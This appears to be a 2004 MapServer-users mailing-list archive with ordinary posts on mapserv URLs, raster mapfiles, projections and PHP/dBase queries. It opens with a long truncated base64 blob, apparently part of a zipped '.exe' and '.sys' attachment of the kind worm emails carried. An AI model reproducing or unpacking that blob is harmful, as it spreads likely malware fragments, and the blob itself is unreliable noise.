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 SwUGAAAAAAIAAgBuAAAA8VMAAAAA ----------qwddimkqfsgfatjlkrre-- From mapserver at meteologica.es Wed May 5 07:02:41 2004 From: mapserver at meteologica.es (Paco Regodon) Date: Wed, 5 May 2004 16:02:41 +0200 Subject: [Mapserver-users] center map on x,y coordinates In-Reply-To: References: Message-ID: <200405051602.41571.mapserver@meteologica.es> On Wednesday 05 May 2004 12:25, Elisabeth Nolz wrote: > the problem were not the double quotes but the comma in my coordinates, so > i tried points instead of commas: > http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989.20%201646.20&scal >e=5000 > > now i get this new error (???): > mapserv(): Web application error. No template provided. It seems you forgot "&mode=map". Try this url: http://localhost/cgi-bin/mapserv?map=map.map&mode=map&mapxy=339989.20+1646.20&scale=2000000 From mszpak at wp.pl Wed May 5 08:34:34 2004 From: mszpak at wp.pl (=?ISO-8859-2?Q?Marcin_Zaj=B1czkowski?=) Date: Wed, 05 May 2004 17:34:34 +0200 Subject: [Mapserver-users] Display ADF grid format through MapServer In-Reply-To: <408D724C.3080302@wp.pl> References: <408D724C.3080302@wp.pl> Message-ID: <4099098A.6000706@wp.pl> Dnia 2004-04-26 22:34, U?ytkownik Marcin Zaj?czkowski napisa?: > I try to display raster map stored in ArcView grid format (ADF). I (...) > Maybe somebody could point me place with some sample map file (to work > with grid) or send me one? After many tests I did it. Below info for people with similar problem. In my case the problem was with SHAPEPATH in map file. Assigned value 'coused that mapserver looked for raster files in directory for shape files... Below some minimal file which works for me. MAP IMAGETYPE PNG24 #some Your extent EXTENT 3745019.024215 5475485.177366 3753882.753967 5495002.010907 UNITS METERS SIZE 400 300 IMAGECOLOR 255 255 255 LAYER # raster layer NAME dem DATA "dem" #directory with grid STATUS DEFAULT TYPE RASTER END END My files structure: [szpak at szpak my2]$ ls dem info grid.map [szpak at szpak my2]$ ls dem dblbnd.adf hdr.adf log prj.adf sta.adf vat.adf w001001.adf w001001x.adf [szpak at szpak my2]$ ls info arc0003.dat arc0004.dat arc0005.dat arc0005r.001 arc0003.nit arc0004.nit arc0005.nit arc.dir I the problem still exists, this (probably) means that it isn't problem with map file. I suggest to read Raster Tutorial (which describe how to check what format does MapServer actually support). http://mapserver.gis.umn.edu/doc40/raster-howto.html Hope that it helps someone Marcin From imd_listuser at comcast.net Wed May 5 08:37:32 2004 From: imd_listuser at comcast.net (IMD Listuser) Date: Wed, 5 May 2004 11:37:32 -0400 Subject: [Mapserver-users] Projected and Unprojected Coordinates? Message-ID: <90264B8395BF154DB2CB12B068DFFAE903B093@westward.im-design.net> Greetings all I have a mapserver app that is successfully projecting on the fly from Geographic to Equidistant Cylindrical (eqc). At the moment the [mapext] cgi variable is returning the extent in projected coordinates. Is there a cgi variable that will give me the unprojected equivalent (in decimal degrees)? TIA From ARyan at co.linn.or.us Wed May 5 09:02:39 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 5 May 2004 09:02:39 -0700 Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? Message-ID: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS> Norbert writes... >//this first part is a separate form but it should work also in one > >$recs = dbase_numrecords($dbi);//opened dbf > >$q_index_array = array();//save the indexes from the .dbf in this array > >for ($i = 1; $i < $recs; $i++) >{ > $s_field = dbase_get_record_with_names($dbi, ($i + 1)); > > if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) === >false)) > { > $q_index_array[] = $i; > } >} This is too slow and limited. You should try the ODBC functions in PHP. You can run SQL queries on a dbf file by regarding the directory in which the file resides as the database. This gives you all the flexibility of SQL statements. >for ($i = 0; $i < count($q_index_array); $i++) >{ > if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i], >MS_FALSE) == MS_SUCCESS) > { > $q_img = $map->drawquery(); > $q_path = $q_img->savewebimage(); > echo ""; > } >} I'm not sure I get this code. Seems like your stepping through a list of index numbers, setting them with queryByIndex, but then drawing the map after every index? I don't get it. The map should be drawn after iterating through the whole array, no? Anyway, I think the two routines above are flawed in that the index values in the shapefile and in the dBase file and not be assumed to be equal. If I'm wrong about this I hope someone will correct me. They usually are the same, but the whole point of the *.shx file is to reconcile differences in the indexing. So you're taking the indexing from the dBase and applying this to the shapefile and I think on careful examination on some of larger file sets you'll find that what you're displaying textually and graphically don't match. By the way, I've found that queryByIndex is way too slow. It works fine for a small set of records, but with large selection sets I've found it's too slow. I use save and load query as much as I can. Adam -----Original Message----- From: Norbert Thieme [mailto:norbert.thieme at ilmenau.baw.de] Sent: Tuesday, May 04, 2004 1:20 AM To: Ryan, Adam; eduardo at consultoria.eti.br Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? Ryan, Adam schrieb: > Eduardo, > > I might be off track but... > > I thought about this myself. In order to display the result shapes > you need to have a query result either from doing the query in > mapscript or loading a saved query file. The former defeats the point > of querying the dBase since you're duplicating your steps, and the > later requires you to manually build a query file but you can't do > that unless you can get at the dBase record - shapefile index > relationship which I don't know how to do. > > Again, I may be off track, but querying the dBase file may not be > feasible. > > Adam > > -----Original Message----- > From: Eduardo Patto Kanegae [mailto:eduardo at consultoria.eti.br] > Sent: Monday, May 03, 2004 11:06 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP > dBase functions? > > > I have a mapserver+php+mapscript that will query on a shapefile > database on a single layer, through its atributes. > > The system will give as result a set of items on a result list as a > first step. Then as a second step a map displaying these results > should be given. > > my doubt is: to create this result list which will be best strategy: > - use PHPMapScript to query against the mapfile ? > or > - simply use PHP dBase functions to query against dBase files of the > mapfile? > > which one is the best/fastest alternative? > > best regards. > > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > I Encontro Nacional de Usu?rios MapServer - > http://mapserver.cttmar.univali.br/encontro2004 > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > ***Fim da Mensagem / End of Message *** > > > > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi, I think you can use both. If you use querybyattributes then you use the ability of the mapserver to search only in your current extent. But you have the problem that the qstring must be exactly the same (case sensitive). If anyone knows a way (without much own code) to search with the mapserver after only parts of words and case ignoring it would be great if he shares it. Because that would work with all kinds of types of data not only for shapes. For the other case I use the following code to search the way described above - I cut it a bit: //this first part is a seperate form but it should work also in one $recs = dbase_numrecords($dbi);//opened dbf $q_index_array = array();//save the indexes from the .dbf in this array for ($i = 1; $i < $recs; $i++) { $s_field = dbase_get_record_with_names($dbi, ($i + 1)); if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) === false)) { $q_index_array[] = $i; } } //second part - map for ($i = 0; $i < count($q_index_array); $i++) { if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i], MS_FALSE) == MS_SUCCESS) { $q_img = $map->drawquery(); $q_path = $q_img->savewebimage(); echo ""; } } Regards, Norbert From jenu_ab at hotmail.com Wed May 5 09:43:51 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 05 May 2004 11:43:51 -0500 Subject: [Mapserver-users] representation from MS-SQL server Message-ID: I'm new to Mapserver GIS.. for most of u these questions i ask might seem really silly... I have been using the shape files from Nationalatlas.gov website I have been able to generate a road map of US... now i'm trying 